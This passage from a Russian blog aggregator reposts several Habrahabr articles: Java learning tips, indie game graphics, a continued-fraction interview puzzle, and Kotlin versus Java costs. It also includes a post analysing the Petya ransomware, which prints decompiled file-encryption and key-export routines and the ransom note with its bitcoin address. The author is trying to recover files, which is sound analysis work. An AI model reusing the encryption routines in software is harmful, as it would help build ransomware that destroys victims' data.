Тем не менее в процессе подготовки материалов для этих трех статей, я понял, что для того чтобы не было мучительно больно, надо перейти к более качественной ступени обучения.
Поэтому, я думаю, что есть смысл зарегистрироваться на курс «Специализация Машинное обучение и анализ данных размещенный на Coursera», по крайней мере он на русском, так что не придется ломать голову над переводом непонятных терминов.

Вот так случайное любопытство грозит перерасти во что-то более серьезное, через пару месяцев, когда закончу курс поделюсь с уважаемыми читателями своим впечатлением о нем.

Всем добра! Удачно вам напрячь извилины!
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331992/


Метки:  

Сказ про НеПетю, а точнее не про Петю

Пятница, 30 Июня 2017 г. 02:08 + в цитатник

Метки:  

Java первая чашка

Пятница, 30 Июня 2017 г. 02:08 + в цитатник

Первая чашка крепкого Java. Какая она на вкус? У каждого она своя, кому-то она может показаться горькой, приторной, я расскажу в этом "руководстве" (сильное слово, для коротенькой статьи) какой была моя первая чашка, и что бы я изменил, выпивая эту чашку снова…
image


Помню, слышал слова: "прочти эту и эту книгу, и ты все поймешь", тебе откроется истина, но сделав это, я понял, что на самом деле процесс познания языка Java, как, в принципе, и любого другого — это непрерывный и долгий процесс, помимо синтаксиса языка, нужны структуры данных, среда разработки, система сборки, всевозможные фреймворки и т.д. и т.д. и все это ты постепенно узнаешь в процессе работы. В этой статье я постараюсь обобщить свои шаги.


От того как ты стартанешь будет зависеть твоя мотивация, если ты сможешь практически сразу увидеть и оценить свой прогресс — мотивация будет расти. Человеческому мозгу нужен результат, ты сразу захочешь увидеть свой успех, понять, что ты сделал. Поэтому я рекомендую НИ в коем случае не начинать писать программы в блокноте, прутиком на песке, читать огромные и толстые книги с отрывом от практики, с моей точки зрения от этого занятия не будет много прока. Язык — это инструмент — инструмент, который необходимо применять на практике изо дня в день, чтобы оттачивать мастерство владения им. Без практики теоретические знания полезны, но бессмысленны. Ознакомившись с одним или другим аспектом языка, фреймворка, среды разработки, обязательно примените полученные знания на практике, это позволит мозгу качественно усваивать информацию. Любой человек по своей природе ленив, лень — это защитный механизм мозга, для того чтобы не тратить силы на бесполезные дела. Всегда "обманывайте" мозг, ищите реальное применение своим знаниям, занимайтесь соим тестовым проектом (халтура или хобби) на котором можно всласть понабивать шишки и закрепить различные подходы и тем самым натренировать свой мозг.


а) качай нормальную IDE для работы: https://www.jetbrains.com/idea/download/
Для скачивания и установки подойдет платформа-независимая программа https://www.jetbrains.com/toolbox/app/




б) ты скачал, открыл и застыл в изумлении… что дальше?
Из шагов могу выделить следующие: общий синтаксис языка: что такое класс, переменная и т.д., структуры данных — тут я могу сразу тебе рекомендовать не читать старые книжки, чтобы не погружаться в дебри былого, читай актуальную информацию про Java 8, где введены лямбда-выражения, коллекции и стримы, для легкой манипуляции над объектами, также можно почитать "Java 8 & 9 in Action".


в) если ты еще не написал ни строчки кода на java, то может быть стоит пройти несколько уроков на https://javarush.ru/ У ребят есть также плагин для IntelliJ IDEA, который облегчит процесс изучения языка.




г) старайся день ото дня читать всевозможные паблики и блоги, которые будут двигать тебя вперёд, например про IDEA: https://blog.jetbrains.com/idea/ или блог компании Zeroturnaround. У них есть отличные шпаргалки, для того чтобы не забыть аспекты языка и инструменты связанные с ним.


д) здесь стоит отметить тот факт, что если ты всерьез решил заниматься программированием, необходимо уделять время английскому языку. Знание английского позволит получать самую актуальную информацию, двигаться по карьерной лестнице, даст отличный шанс поработать за границей и, возможно, спасёт тебя от Альцгеймера.
учить язык стоит на курсах, можно, читая книги, каждый день понемногу, из личного опыта могу порекомендовать серии книг Oxford Bookworms Library или Macmillan.

е) полезно также скачать специальный плагин для ознакомления с горячими клавишами в IntelliJ IDEA, IDE Features Trainer и почитать про него: https://blog.jetbrains.com/idea/2016/12/ide-features-trainer/




ё) из фреймворков без которых сейчас вообще никуда — я могу отметить Spring https://spring.io/projects
Также на спринге есть много гайдов, которые довольно актуальны https://spring.io/guides
и там есть программный код, чтобы сразу скачать и запустить программу. Для начала лучше сразу запустить несколько примеров с https://spring.io/guides/tutorials/bookmarks/




ж) заведи себе аккаунт на GitHub https://github.com/ если ты этого еще не сделал. Создавай там свои тестовые проекты, форкай уже существующие, изучай что делают другие люди.

Немного про четыре столпа, которые необходимы всегда: это собственно IDE для разработки (априори это всегда IntelliJ IDEA), есть еще конечно eclipse или netbeans =)
Второй столп — это система контроля версий. Любой проект имеет смысл хранить в системе контроля версий: https://git-scm.com/ есть еще много других, например svn, но git — дефолтный.
Третий столп — это система сборки проекта. На сегодняшний день это либо Maven https://ru.wikipedia.org/wiki/Apache_Maven шпаргалка, либо https://ru.wikipedia.org/wiki/Gradle, ну и конечно же сама java — так называемая JDК, которая ставится отдельно на машину для компиляции и запуска java-программ https://ru.wikipedia.org/wiki/Java_Development_Kit
качай последнюю версию http://www.oracle.com/technetwork/java/javase/downloads/


Быстрый старт для ленивых:
1) качаем тулу для установки IDEA https://www.jetbrains.com/toolbox/app/
2) качаем через тулу Идею
3) качаем JDK для запуска java-программ (в IDEA есть предустановленная по умолчанию) http://www.oracle.com/technetwork/java/javase/downloads/index.html
4) устанавливаем git для работы с репозиторием https://git-scm.com/downloads
5) устанавливаем Maven для сборки проектов https://maven.apache.org/download.cgi
6) ты готов начать писать шедевры!
и только после этих 6 шагов можно начинать читать про java, если по каким-то причинам шаги, описанные выше, ты выполнить не смог, хмм… может и не стоит тогда заниматься программированием. Ну а если ты уже продвинутый проггер, может стоит почитать статью про HotSwap.


Продолжение следует..

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/327692/


Метки:  

Графика для инди игр. Что делать если кругляшки и палочки вас не устраивают

Четверг, 29 Июня 2017 г. 23:49 + в цитатник
И снова добрый день. Вчера я опубликовал статью по разработке игры на Kotlin и вполне ожидаемо первый блин вышел комом. Ну да ничего страшного, любая ошибка это опыт. Главное сделать правильные выводы и двигаться дальше. Что было неправильно вчера и что я рассчитываю исправить сегодня. Не стоит мешать в кучу разные материалы, это первое. И второе — имеет смысл сдобрить статью иллюстрациями и ссылками на внешние источники. Итак, погнали.

Графика, это первое что бросается в глаза пользователю, запустившему ваше приложение. И хотя в Google Play есть несколько игр чисто текстовых, это исключение из правил. И в разработке подобных игр без сомнения полно своих подводных камней. Что же следует сделать инди-разработчику, чтобы не провалить то самое первое впечатление? В первую очередь следует на первых этапах разработки определиться с основным интерфейсом. Есть несколько практик как сделать это быстро и дешево:

  • Нарисовать в тетрадке, или лучше на маркерной доске
  • Вырезать бумажные элементы из бумаги и разрисовать их карандашами/маркерами

Причем интересное наблюдение, эти простые и дешевые варианты дают лучший результат чем навороченные программы. Это связано с тем, что бумага и маркеры дают гораздо больше свободы чем такие приложения как Adobe Experience Design. И при помощи простого карандаша вы можете на довольно высоком уровне абстракции в несколько штрихов обозначить идею и потыкать в нее пальцами.

Вот мой прототип интерфейса


Страшненько конечно, но быстро и для работы вполне себе подойдет.
Первый подход к снаряду


За основу были взяты ресурсы здесь: www.gamedevmarket.net/asset/stone-cartoon-gui-pack-8506, фрагменты www.gamedevmarket.net/asset/creepy-userinterface-7396, полосы прогресса www.gamedevmarket.net/asset/40-progress-bars-incredible-progress-8610 (отсутствуют на скрине). Согласитесь, выглядит вырвиглазно. Это связано с тем, что разные стили очень трудно комбинировать чтобы получилась целостная картинка.

Вообще сайт www.gamedevmarket.net оказался для меня самым лучшим в плане цен и разнообразия элементов. К примеру Вера, автор темы «Каменный Век», продает аналогичные ресурсы на сайте graphicriver.net по цене 8$ и 45$ в зависимости от того, разрешено ли вам брать деньги с пользователей.
Финальная версия


В финальной версии я использовал один UI-Kit www.gamedevmarket.net/asset/mmorpg-ui-kit-7623 и на мой взгляд это пошло на пользу. Автор Дмитрий, студия Семилистник. Кроме UI-Kit'a я использовал набор иконок www.gamedevmarket.net/member/rexard Сергея. Потрясающий ассортимент.

Это здорово, когда нашел что нужно, и когда ресурсы подходят друг-другу по стилю. Но самая большая проблема это как раз найти. К примеру вы ищете изометрические здания. И на одном сайте они маленькие, на другом не подходят по эпохе, на третьем все отлично, но их всего 5 штук что не устраивает вас по разнообразию. А при работе на заказ я уже приводил — 25$ в час. Вот к примеру один из художников www.behance.net/pashkadex
Чтобы было представление сколько времени занимает создание одного рисунка www.behance.net/gallery/10511409/Vector-style И поверьте, по времени это скорее оценка снизу. По крайней мере оценки Пашки по трудоемкости были самыми малыми.

Так вот, чтобы найти ресурсы надо искать ресурсы (ваш КО). Один из лучших обзорных сайтов это ru.pinterest.com Можно искать по названию, можно по переходам на похожие картинки и доски пользователей. Сайт индексирует картинки невзирая на лицензионность и предоставляет ссылки на первоисточники. В этом разнообразии очень легко утонуть на много часов. Сайт довольно спамерский, каждый день норовит прислать письмо с подборкой материалов по интересующим темам. И это даже здорово, потому что каждый день по чуть-чуть накапливается информация. Вы лучше представляете что можно и что нельзя хотеть за разумную цену.

Также нельзя пройти мимо маркетов для Unity www.assetstore.unity3d.com и Unreal Engine www.unrealengine.com/marketplace Но сразу предупреждаю, по крайней мере Unity
делает все возможное чтобы их ресурсы было трудно использовать вне Unity. Мне пришлось ставить среду разработки, открывать ресурсы в ней и из кэша вытаскивать png картинки. Я почти уже решил что 20 баксов слиты в никуда. К тому же, многие авторы публикуют свои работы на разных сайтах и цены на них могут существенно отличаться. Если вы нашли картинку которая вас устраивает, может быть неплохой идеей сделать повторный поиск через images.google.com поиск по картинке.

В заключение приведу еще несколько ссылок на бесплатные ресурсы
free-game-assets.itch.io/free-2d-orcs-sprite-sheets
www.gameart2d.com/freebies.html

Ну и конечно же рекомендую собирать свою библиотеку ресурсов, ссылок на понравившееся работы. Даже если не собираетесь покупать сейчас, возможно пригодится в будущем. У меня кстати уже ушло порядка 100-120$ на разные покупки. Я считаю что очень дешево отделался, ведь это даже не полный рабочий день хорошего художника :)
Тема следующей статьи (следующая неделя)

Проголосовал 81 человек. Воздержалось 35 человек.

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331988/


Метки:  

Футбол как точная наука: как Университет ИТМО помогает организаторам Кубка конфедераций и ЧМ-2018

Четверг, 29 Июня 2017 г. 21:49 + в цитатник

Метки:  

Об одной задаче на собеседовании

Четверг, 29 Июня 2017 г. 21:48 + в цитатник
В одной компании кандидатам на вакансию программиста предлагалась следующая задача. Найти значение дроби:

$\frac{1}{1+\frac{1}{1+\frac{1}{1+\frac{1}{1+...}}}} $


Для решения данной задачи не требуется знания природы таких дробей и области, в которой эти дроби применяются. Нужно только заметить, что предложенное выражение самоподобно и может быть представлено в виде:

$x=\frac{1}{1+x}$

А это, в свою очередь, приводит к обычному квадратному уравнению:

$x^2+x-1=0$



Теперь скажем, что данные дроби имеют особое название, это цепные дроби, и они используются, как одна из форм записи вещественных чисел. В рассмотренном примере бесконечная цепная дробь имеет самое простое представление. В ее записи используются только единицы, и длина её периода тоже равна единице. Любопытно, что выражаемое ею число очень широко представлено, и не только в математическом мире, и даже имеет собственное название — «золотое сечение». Получим несколько приближений для данного числа, используя его представление через цепную дробь. На первом шаге отбросим второе слагаемое в знаменателе. Получим $\frac{1}{1}$, теперь запишем следующее приближения, используя полученный результат, как второе слагаемое в знаменателе $\frac{1}{1+\frac{1}{1}}=\frac{1}{2}$ Повторим эту операцию ещё раз $\frac{1}{1+\frac{1}{2}}=\frac{2}{3}$ В результате мы получим следующий ряд:

$\frac{1}{1},\frac{1}{2},\frac{2}{3},\frac{3}{5},\frac{5}{8},\frac{8}{13}...$


Обратимся теперь к такому понятию, как последовательность Фибоначчи. Так называются члены числового ряда, составленного по следующему правилу. Первый и второй член ряда равны единице, а каждый последующий равен сумме двух предыдущих.

$1,1,2,3,5,8,13,21...$

Составим ряд образованный отношениями двух соседних членов последовательности Фибоначчи

$\frac{1}{1},\frac{1}{2},\frac{2}{3},\frac{3}{5},\frac{5}{8},\frac{8}{13}...$

Не правда ли, знакомая запись? Действительно, предел отношения двух чисел Фибоначчи выражается «золотым сечением». Получим этот результат.
Из определения следует, что

$F_{i+1}=F_i+F_{i-1}$

$\frac{F_{i+1}}{F_i}=1+\frac{F_{i-1}}{F_i}$

Введем следующее обозначение

$s_{i-j}=\frac{F_i}{F_j}$

Тогда предыдующее равенство запишется как

$s_1=1+s_{-1}$

В пределе

$s_1=\frac{1}{s_{-1}}$

Введем обозначение $x=s_{-1}$. Тогда мы получим уравнение, которое уже приводили в начале статьи.

$x=\frac{1}{1+x}$


Теперь рассмотрим последовательность, у которой три первых члена равны единицы, а каждый последующий равен сумме трех предыдущих. Найдем предел, к которому стремится отношение двух соседних членов последовательности. По определению

$F_{i+3}=F_i+F_{i+1}+F_{i+2}$

Разделим левую и правую часть на $F_{i+1}$. Тогда в используемых ранее обозначениях мы можем записать:

$s_2=s_{-1}+s_1+1$

Теперь разделим левую и правую часть на $F_{i+2}$. Получим следующее cоотношение:

$s_1=s_{-2}+s_{-1}+1$

Обозначим

$s_1=x\\ s_2=y$

В новых обозначениях система уравнений будет выглядеть так:

$y=\frac{1}{x}+x+1\\x=\frac{1}{x}+\frac{1}{y}+1$

Данная система приводится к следующему уравнению:

$y^3-3y^2-y-1=0$

Оно имеет одно вещественное решение

$y=3,382976...$

Если рассмотреть ряд для последовательности, у которой каждый член равен сумме уже четырех предыдущих, то мы придем к системе из трех уравнений:

$x=y+z+\frac{1}{z}+1\\ y=z+\frac{1}{z}+\frac{1}{y}+1\\ x=\frac{1}{z}+\frac{1}{y}+\frac{1}{x}+1 $

А эта система приводится к следующему нелинейному уравнению:

$y^4-3y^3-3y^2+y+1=0$


Это уравнение имеет два вещественных корня. Решением нашей задачи будет:

$y=3,715495... $


Вот такое исследование получилось из одной задачи на собеседовании.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331688/


Метки:  

[Из песочницы] Сутки после вируса Petya

Четверг, 29 Июня 2017 г. 20:13 + в цитатник
Я не писатель, я читатель. Но считаю нужным поделиться.

Буду краток, но уж простите. Данный опус является только желанием поделиться результатом 10-12 часов втыкания в декомпилированный код вируса.

Кому интересно, продолжение ниже.

С самого начала (а это около 13-00 27-го числа), после первого звонка от знакомых, о проявившихся симптомах, начал мониторить сеть на предмет информации. Ее к сожалению мало и до сих пор.

Часам к 5-ти вечера подвезли системник.

Итак.

-> h**ps://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759 — отсюда взял файл вируса.
-> h**ps://retdec.com/decompilation-run/ — тут его декомпилировал.

Сразу оговорюсь — я не писатель, а под windows тем более, поэтому пришлось потратить довольно много времени на изучение полученного кода.

Собственно две вещи которые я обнаружил и хочу поделиться.

1. Файлы меньше 1 Мб (0x100000) шифруются полностью. Больше — шифруется только 1-й мегабайт:

        // 0x100018da
        if (v6 <= lpFileMappingAttributes) {
            if (lpFileSize <= 0x100000) {  //тут проверяется размер файла
                // 0x10001958
                dwNumberOfBytesToMap = (struct _LARGE_INTEGER *)lpFileSize;
                pdwDataLen = dwNumberOfBytesToMap;
                dwMaximumSizeLow = 16 * (lpFileSize / 16 + 1);
                // branch -> 0x100018eb
                // 0x100018eb
                hFileMappingObject = CreateFileMappingW((char *)hFile2, (struct _SECURITY_ATTRIBUTES *)lpFileMappingAttributes, 4, lpFileMappingAttributes, dwMaximumSizeLow, (int16_t *)lpFileMappingAttributes);
                dwFileOffsetHigh = lpFileMappingAttributes;
                if ((int32_t)hFileMappingObject != dwFileOffsetHigh) {
                    // 0x100018ff
                    pbData = MapViewOfFile(hFileMappingObject, 6, dwFileOffsetHigh, dwFileOffsetHigh, (int32_t)dwNumberOfBytesToMap);
                    v4 = (int32_t)pbData;
                    hFile2 = v4;
                    hHash = lpFileMappingAttributes;
                    if (v4 != hHash) {
                        // 0x10001913
                        hKey = *(int32_t *)(a2 + 20);
                        v5 = CryptEncrypt(hKey, hHash, (int32_t)(struct _SECURITY_ATTRIBUTES *)1 % 2 != 0, hHash, pbData, (int32_t *)&pdwDataLen, dwMaximumSizeLow);
                        if (v5) {
                            // 0x1000192e
                            FlushViewOfFile((char *)hFile2, (int32_t)pdwDataLen);
                            // branch -> 0x10001938
                        }
                        // 0x10001938
                        UnmapViewOfFile((char *)hFile2);
                        // branch -> 0x1000193f
                    }
                    // 0x1000193f
                    CloseHandle(hFileMappingObject);
                    // branch -> 0x10001948
                }
                // 0x10001948
                handleClosed = CloseHandle(hFile);
                // branch -> 0x10001951
                // 0x10001951
                g8 = v1;
                g4 = v3;
                return (char *)handleClosed;
            }
        }
        // 0x100018e6
        pdwDataLen = (struct _LARGE_INTEGER *)0x100000; // тут устанавливается максимальный размер шифрования если файл бльше 1 мегабайта
        struct _SECURITY_ATTRIBUTES * v8 = (struct _SECURITY_ATTRIBUTES *)lpFileMappingAttributes;
        lpFileMappingAttributes2 = v8;
        v7 = v8;
        dwNumberOfBytesToMap2 = (struct _LARGE_INTEGER *)0x100000;
        dwMaximumSizeLow = 0x100000;
        // branch -> 0x100018eb
    }

Это же я заметил, просмативая зашифрованные файлы на принесенном компьютере.

2. Каждый логический том в системе шифруется своим ключом. В корне каждого диска создается файл README.TXT с содержимым тем же, что и выводится на экран по окончании шифровки и после перезагрузки, как я понимаю (лично не видел экрана). Но вот ключ разный на двух разделах диска который я ковырял.

Ooops, your important files are encrypted.

If you see this text, then your files are no longer accessible, because
they have been encrypted. Perhaps you are busy looking for a way to recover
your files, but don't waste your time. Nobody can recover your files without
our decryption service.

We guarantee that you can recover all your files safely and easily.
All you need to do is submit the payment and purchase the decryption key.

Please follow the instructions:

1. Send $300 worth of Bitcoin to following address:

1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX

2. Send your Bitcoin wallet ID and personal installation key to e-mail wowsmith123456@posteo.net.
Your personal installation key:

AQIAAA5mAAAApAAAuoxiZtYONU+IOA/XL0Yt/lsBOfNmT9WBDYQ8LsRCWJbQ3iTs
Ka1mVGVmMpJxO+bQmzmEwwiy1Mzsw2hVilFIK1kQoC8lEZPvV06HFGBeIaSAfrf6
6kxuvs7U/fDP6RUWt3hGT4KzUzjU7NhIYKg2crEXuJ9gmgIE6Rq1hSv6xpscqvvV
Fg4k0EHN3TS9hSOWbZXXsDe9H1r83M4LDHA+NJmVM7CKPCRFc82UIQNZY/CDz/db
1IknT/oiBDlDH8fHDr0Z215M3lEy/K7PC4NSk9c+oMP1rLm3ZeL0BbGTBPAZvTLI
LkKYVqRSYpN+Mp/rBn6w3+q15DNRlbGjm1i+ow==

Тут хотелось бы просить помощи специалистов в шифровании.


void function_10001c7f(void) {
    int32_t dwFlags = 0; // ebx
    int32_t hKey = *(int32_t *)(g3 + 20); // 0x10001ca0
    int32_t pdwDataLen = 0;
    int32_t v1;
    if (!CryptExportKey(hKey, *(int32_t *)(g3 + 12), 1, 0, NULL, &pdwDataLen)) {
        // 0x10001d2a
        g3 = (int32_t)NULL;
        g4 = v1;
        return;
    }
    char * memoryHandle = LocalAlloc(64, pdwDataLen); // 0x10001cb1
    if ((int32_t)memoryHandle == dwFlags) {
        // 0x10001d2a
        g3 = (int32_t)NULL;
        g4 = v1;
        return;
    }
    int32_t hExpKey = *(int32_t *)(g3 + 12); // 0x10001cc6
    int32_t hKey2 = *(int32_t *)(g3 + 20); // 0x10001cc9
    if (CryptExportKey(hKey2, hExpKey, 1, dwFlags, memoryHandle, &pdwDataLen)) {
        int32_t pcchString = dwFlags;
        bool v2 = CryptBinaryToStringW(memoryHandle, pdwDataLen, 1, (int16_t *)dwFlags, &pcchString); // 0x10001ce8
        if (v2) {
            char * memoryHandle2 = LocalAlloc(64, 2 * pcchString); // 0x10001cf6
            int32_t hMem = (int32_t)memoryHandle2; // 0x10001cf6_6
            if (hMem == dwFlags) {
                // 0x10001d21
                LocalFree(memoryHandle);
                // branch -> 0x10001d2a
                // 0x10001d2a
                g3 = (int32_t)NULL;
                g4 = v1;
                return;
            }

Третий параметр функции CryptExportKey — 1, это экспорт сессионного ключа. И этот ключ как я понимаю сохраняется в README.TXT.

Собственно вопрос — нельзя ли его импортировать, и расшифровывать файлы? Это не паблик ключ. Понятно, что дайте приват проблем не было бы.

Собственно, больше внимание я обращал именно на функции шифрования, остальное меня не интересовало.

Ну и мнение простого обывателя — данная атака это продолжение майской, в результате которой, видимо, не была достигнута поставленная цель. Потому как на кошельках с прошлой атаки около 160-180 тысяч так и не тронуто. Была бы цель получение денег, их бы уже начали отмывать. За чуть больше чем сутки на кошелек 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX перечислили всего чуть больше чем 10000$. Это, конечно, является следствием того, что в прошлый раз никто никаких ключей дешифрования не получил.

Надеюсь моя первая статья не станет последней. С удовольствием исправлю возникшие ошибки.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331978/


Метки:  

[Из песочницы] Kotlin и стоимость разработки игры (+ немного оффтопика)

Четверг, 29 Июня 2017 г. 20:03 + в цитатник
Добрый день. Сегодня я хочу рассказать о разработке игры с использованием языка программирования Kotlin. Также приведу небольшой пример работы с RxJava в конце статьи.

Первый commit для этой игры случился 4 июня сего года, то есть до открытой беты я дошёл примерно за 3 с половиной 4 недели. Нельзя сказать что это первая игра или программа под Android которую я разрабатываю, но и опытным разработчикам под Андроид я также не являюсь. Мой предыдущий опыт в основном составляла Enterprise разработка.

Я хочу обозначить несколько тем в этой статье и пробежаться по ним коротенечко. Тему Kotlin’a постараюсь раскрыть подробно, по остальным возможны дополнительные статьи если будет такой запрос от вас (ну и плюс уточняющие вопросы в комментариях помогут улучшить подачу материала). Итак к списку: это сравнение стоимости разработка на Kotlin vs Java, где брать графику для вашей игры. Немного про деньги (пока про затраты, т.к. статистики по доходам пока нет). Также я считаю очень важно коснуться мотивировочной части. Начнем пожалуй с конца.

Мотивация
Почему я начинаю эту статью с такой казалось бы мелочи как мотивация? Ведь если я хочу создать приложение, значит я уже мотивирован. И всё хорошо, и меня ждет успех. Проблема в том что часто приступая к работе мы не осознаем свою истинную мотивацию: ждем ли мы денег, есть ли личная потребность, хотим ли мы создать пример для своего портфолио. Вариантов может быть много. Казалось бы, какая разница если я все равно мотивирован? Но взять к примеру портфолио — вроде бы хорошая инвестиция. Ты сможешь показывать своим потенциальным работодателям готовый продукт и они конечно же впечатлятся и тут же назначат огромную зарплату. Так вот, по мере разработки, по мере того как вы вкладываете свои силы и время, ценность портфолио начинает отходить на второй план (особенно если визуальной привлекательности добиться не удается). Уже хочется получить каких-то денег и если изначально планов монетизации приложения не было, то каждый следующий день требует все большей силы воли. Так в чём же проблема? Казалось бы — начинал работать с одной мотивацией, а в середине процесса разработки добавил монетизацию, выложил в Google Play и заработал 100500 руб. К сожалению так не работает. Пользователи не хотят тратить время на глючное, сырое или неинтересное приложение. То есть вы не можете выложить проект в середине разработки. Если вы так сделаете, скорее всего это просто приведет к падению рейтинга и отсутствию скачивания. То есть вся ваша работа по сути уйдёт в мусорную корзину.

Если вы изначально рассматриваете монетизацию как один из своих интересов, еще до самого старта работ вы должны понимать на чём вы будете зарабатывать деньги. Самое простое и самое неэффективное это рекламные баннеры. Чуть сложнее или примерно так же просто — показ рекламы на весь экран. Далее идет магазин. Но для того чтобы магазин заработал, вам необходимо зацепить пользователя чем-то. Чем раньше вы получите просмотр рекламы, тем больше это будет подпитывать вашу мотивацию продолжать работать дальше.

Графика
Вопрос графики для программиста является пожалуй что основной проблемой. Я имею в виду игры конечно. Когда я только начинал разработку, я считал что главное написать код, а уж найти графику не такая большая проблема. Может быть даже и заказать.

Существует значительное количество стоков ресурсов где графика продается, существуют ресурсы с бесплатными картинками. И в принципе да, действительно, так оно и есть. Есть только одна проблема — эти ресурсы выполнены в разных художественном стиле и комбинация из них даёт крайне странные результаты. Поэтому если вы разрабатываете свою первую игру, мой вам настоятельный совет — не ищите графику под свои задумки. Ищите готовые наборы графики под игру, и исходя из графики решайте что вы можете реализовать. Такие наборы есть, их не так чтобы много, но по крайней мере для первого второго раза вам хватит.

В моем же случае получилось что я потратил 2 недели на разработку, купил какие-то ресурсы в маркетах, но естественно их не хватило для того чтобы реализовать мою задумку. Скажу честно — купленная графика составляла менее чем 30% от необходимого. Но ведь нет нерешаемых вопросов, можно найти исполнителей которые нарисуют то, что вам нужно. И здесь мы с удивлением узнаём, что это не так просто. Особенно если нас интересует качественный результат. Что делал я — я просматривал стоки, находил интересные в плане графики экземпляры, переходил на описание автора и пробовал связаться.

Уже на этом этапе у вас должен быть перечень элементов которые вы хотите заказать и уже на этом этапе скорее всего ваши розовые слоники приопустят хоботы. Но пока это только предчувствие. Вы отправляете письмо с вопросом “можно ли обратиться для заказа графики” и в зависимости от профессионализма исполнителя (а те люди с которыми я обращался были профессионалами за исключением одного) вы получите сразу ответ что “Да можно, часовая ставка 25$/час”, ваш запрос будет выполнен за 30-40 часов не включая доработки по замечаниям (свободное время для заказа будет через полтора месяца). Или “Могу сделать за месяц-полтора, будет стоить 50 тысяч рублей”. Либо “Нет, у меня я слишком много работы и я дополнительные заказ не беру”. Это всё профессиональный варианты ответа. А самое неудачное что со мной случилось это следующее:

— А сколько вы готовы заплатить? (То есть человек не оценивает ресурсоемкость или сложность поставленной задачи, а пытается адаптироваться под платежеспособность заказчика)
— от 10000 до 20000 руб (Это был первый художник с которым я связался и в тот момент я считал что данная сумма Вполне себе подходит для небольшой, как я считал, работы)
Человек большого интереса не проявил, на вроде как согласился. Сам назначил срок когда даст описание что он за эту сумму может мне предоставить… и пропал. Это даже не звоночек это колокол что дальнейшая работа с подобным человеком для вас закончится неудачей. Тем не менее через 3 дня после озвученного им же срока, он связался со мной и сказал что сделает всё что мне надо за 15000 рублей. Я очень настороженно отношусь к обобщениям, поэтому попросил перечислить что же будет входить в это “всё” по пунктам. После чего человек пропадает с концами и я считаю что это счастливый конец истории.

Kotlin


Разработка личного проекта существенно отличается от рабочего. Различий несколько, но я остановлюсь на самом (для меня) существенном. Это отношение к стоимости разработки. В подавляющем большинстве случаев работодатель определяет требования, часто инструмент. Он же несет финансовую ответственность. Есть тестирование или нет, какие библиотеки и какой стек технологий. В личном проекте все права и все обязанности — на вас лично. Хотите использовать новый фреймворк — ради бога. Но время которое вы потратите на его освоение вы будете “оплачивать” из своего кармана. И да, не стоит думать что вы работаете бесплатно. Выкиньте из головы эту мысль, напишите на стикере вашу ставку в час и крайне желательно чтобы она соответствовала хотя бы средней стоимости специалиста вашей квалификации по городу. Не надо занижать себе цену.

Таким образом вопрос эффективности вашей работы встает на первый план. А сделал ли я что-то полезное за эти 8 часов, за что в ином случае я получил бы (к примеру) 4000 рублей? То есть вопрос Kotlin vs Java я предлагаю решать исключительно с финансовой точки зрения. Оба языка тьюринг-полные и значит любую программу написанную на Kotlin можно реализовать на Java и наоборот. За счет чего же мы можем получить разницу в стоимости разработки/стоимости владения продуктом?

Стоимость разработки — это количество денег для реализации функциональности. Стоимость владения = стоимость разработки + стоимость поддержки. В некоторых случая стоимость поддержки несоизмеримо выше стоимости разработки. Это особенно характерно для write-only языков (пример RegExp. Гораздо проще написать новое выражение чем понять где ошибка в существующем).

В идеале язык должен быть дешевым и в разработке, и в поддержке. Сокращение boilerplate code однозначно удешевляет разработку. Синтаксический сахар удешевляет разработку, но может (подчеркну может, но не обязан) приводить к увеличению стоимости владения. Синтаксическая соль удорожает разработку но удешевляет стоимость владения. Ниже я приведу примеры кода на Kotlin и Java и опишу какой вариант на мой взгляд дешевле и почему. Часть примеров будет из моего проекта, часть нет.

class Car(val id: String) {
    var speed: Double = 0.0
}

public class Car() {

    public final String id;
    public Double speed;

    public Car(String id) {
        this.id = id;
        this.speed = 0.0;
    }
}

* Для DTO классов нет необходимости в геттерах/сеттерах
** Геттеры/сеттеры имеют смысл только и только в том случае, если они меняют поведение при работе с полями

В данном сравнении мы видим что код на Kotlin более читаемый и самое главное он защищен от “ошибки на миллиард” — NPE. И id, и speed в Kotlin не могут быть null.

var car: Car = Car(null) // compile error
car.speed = null // compile error

Второй, не менее важный момент в приведенном выше примере — это мутабельность.

fun toRoman(value: Int): String {
   val singles = arrayOf("", "I", "II", "III", "IV", "V", "VI", "VII", "VIII", "IX")
   val tens = arrayOf("", "X", "XX", "XXX", "XL", "L", "LX", "LXX", "LXXX", "XC")
   val hundreds = arrayOf("", "C", "CC", "CCC", "CD", "D", "DC", "DCC", "DCCC", "CM")
   val thousands = arrayOf("", "M", "MM", "MMM")

   val roman = thousands[value / 1000] + hundreds[value % 1000 / 100] + tens[value % 100 / 10] + singles[value % 10]

   return roman
}

public String toRoman(int value) {
   final String[] singles = new String[] { "", "I", "II", "III", "IV", "V", "VI", "VII", "VIII", "IX" };
   final String[] tens = new String[] { "", "X", "XX", "XXX", "XL", "L", "LX", "LXX", "LXXX", "XC" };
   final String[] hundreds = new String[] { "", "C", "CC", "CCC", "CD", "D", "DC", "DCC", "DCCC", "CM" };
   final String[] thousands = new String[] { "", "M", "MM", "MMM" };

   final String roman = thousands[value / 1000] + hundreds[value % 1000 / 100] + tens[value % 100 / 10] + singles[value % 10];
   return roman;
}

Не так много разницы, не правда ли? Тем не менее модификаторы final смотрятся крайне неуместно и визуально засоряют программу. Это приводит к тому, что final используется в Java гораздо реже чем следовало бы. А ведь иммьютбл гораздо дешевле и в разработке и во владении.

А вот пример трансформации данных:

val data:List = ArrayList()
val sum = data.filter { it > 0 }.sum()

List data = new ArrayList<>();
final Integer[] sum = { 0 }; //Variable used in lambda expression should be final or effectively final
data.stream().filter(value -> value > 0).forEach(value -> sum[0] += value);

Тут два момента. Kotlin выполняется на jvm 6, Java требует jvm 8 для стримов. А для андроида, это на минуточку 24 API. На 5 июня это всего 9,5% устройств. И второй момент — final or effectively final переменные в лямбдах Java.


Инициализация объекта
private val buttonGroup = ButtonGroup

private ButtonGroup

